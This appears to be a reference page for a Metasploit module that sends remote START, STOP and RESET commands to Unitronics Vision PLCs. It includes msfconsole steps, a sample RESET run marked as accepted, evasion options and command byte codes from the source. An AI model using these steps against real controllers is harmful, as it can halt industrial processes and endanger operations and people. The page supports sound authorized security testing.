Unitronics PCOM remote START/STOP/RESET command - Metasploit
This page contains detailed information about how to use the auxiliary/admin/scada/pcom_command metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Unitronics PCOM remote START/STOP/RESET command
Module: auxiliary/admin/scada/pcom_command
Source code: modules/auxiliary/admin/scada/pcom_command.rb
Disclosure date: -
Last modification time: 2021-01-29 16:19:13 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 20256
List of CVEs: -
Unitronics Vision PLCs allow remote administrative functions to control the PLC using authenticated PCOM commands. This module supports START, STOP and RESET operations.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/scada/pcom_command
msf auxiliary(pcom_command) > show targets
... a list of targets ...
msf auxiliary(pcom_command) > set TARGET target-id
msf auxiliary(pcom_command) > show options
... show and set options ...
msf auxiliary(pcom_command) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Unitronics Vision PLCs
Verification Steps
- Do:
use auxiliary/admin/scada/pcom_command - Do:
set RHOST=IPwhere IP is the IP address of the target - Do:
runto send PCOM command
## Scenarios
msf5 > use auxiliary/admin/scada/pcom_command
msf5 auxiliary(admin/scada/pcom_command) > show options
Module options (auxiliary/admin/scada/pcom_command):
Name Current Setting Required Description
---- --------------- -------- -----------
MODE RESET yes PLC command (Accepted: START, STOP, RESET)
RHOST yes The target address
RPORT 20256 yes The target port (TCP)
UNITID 0 no Unit ID (0 - 127)
msf5 auxiliary(admin/scada/pcom_command) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf5 auxiliary(admin/scada/pcom_command) > run
[*] 192.168.1.1:20256 - Sending RESET command
[*] 192.168.1.1:20256 - Command accepted
[*] Auxiliary module execution completed
msf5 auxiliary(admin/scada/pcom_command) >
Go back to menu.
Msfconsole Usage
Here is how the admin/scada/pcom_command auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/scada/pcom_command
msf6 auxiliary(admin/scada/pcom_command) > show info
Name: Unitronics PCOM remote START/STOP/RESET command
Module: auxiliary/admin/scada/pcom_command
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Luis Rosa <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
MODE RESET yes PLC command (Accepted: START, STOP, RESET)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 20256 yes The target port (TCP)
UNITID 0 no Unit ID (0 - 127)
Description:
Unitronics Vision PLCs allow remote administrative functions to
control the PLC using authenticated PCOM commands. This module
supports START, STOP and RESET operations.
References:
https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf
Module Options
This is a complete list of options available in the admin/scada/pcom_command auxiliary module:
msf6 auxiliary(admin/scada/pcom_command) > show options
Module options (auxiliary/admin/scada/pcom_command):
Name Current Setting Required Description
---- --------------- -------- -----------
MODE RESET yes PLC command (Accepted: START, STOP, RESET)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 20256 yes The target port (TCP)
UNITID 0 no Unit ID (0 - 127)
Advanced Options
Here is a complete list of advanced options supported by the admin/scada/pcom_command auxiliary module:
msf6 auxiliary(admin/scada/pcom_command) > show advanced
Module advanced options (auxiliary/admin/scada/pcom_command):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/scada/pcom_command module can do:
msf6 auxiliary(admin/scada/pcom_command) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/scada/pcom_command auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/scada/pcom_command) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unknown MODE
Here is a relevant code snippet related to the "Unknown MODE" error message:
77: ascii_code = "\x43\x43\x53" # CCS
78: when 'RESET'
79: print_status 'Sending RESET command'
80: ascii_code = "\x43\x43\x45" # CCE
81: else
82: print_error "Unknown MODE"
83: return
84: end
85:
86: sock.put(pcom_ascii_request(ascii_code)) #
87: ans = sock.get_once
Go back to menu.
Related Pull Requests
References
- CVE: Not available
- https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf
See Also
Check also the following modules related to this module:
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/admin/scada/ge_proficy_substitute_traversal
- auxiliary/admin/scada/modicon_command
- auxiliary/admin/scada/modicon_password_recovery
- auxiliary/admin/scada/modicon_stux_transfer
- auxiliary/admin/scada/moxa_credentials_recovery
- auxiliary/admin/scada/multi_cip_command
- auxiliary/admin/scada/phoenix_command
- auxiliary/admin/scada/yokogawa_bkbcopyd_client
- auxiliary/scanner/scada/pcomclient
- auxiliary/admin/smb/ms17_010_command
- auxiliary/admin/smb/webexec_command
- auxiliary/scanner/http/jenkins_command
- exploit/windows/local/capcom_sys_exec
- auxiliary/dos/scada/allen_bradley_pccc
- auxiliary/dos/scada/beckhoff_twincat
- auxiliary/dos/scada/d20_tftp_overflow
- auxiliary/dos/scada/igss9_dataserver
- auxiliary/dos/scada/siemens_siprotec4
- auxiliary/dos/scada/yokogawa_logsvr
- auxiliary/scanner/scada/bacnet_l3
- auxiliary/scanner/scada/digi_addp_reboot
- auxiliary/scanner/scada/digi_addp_version
- auxiliary/scanner/scada/digi_realport_serialport_scan
- auxiliary/scanner/scada/digi_realport_version
- auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
- auxiliary/scanner/scada/koyo_login
- auxiliary/scanner/scada/modbus_banner_grabbing
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/modbusdetect
- auxiliary/scanner/scada/modbus_findunitid
- auxiliary/scanner/scada/moxa_discover
- auxiliary/scanner/scada/profinet_siemens
- auxiliary/scanner/scada/sielco_winlog_fileaccess
Authors
- Luis Rosa <lmrosa[at]dei.uc.pt>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
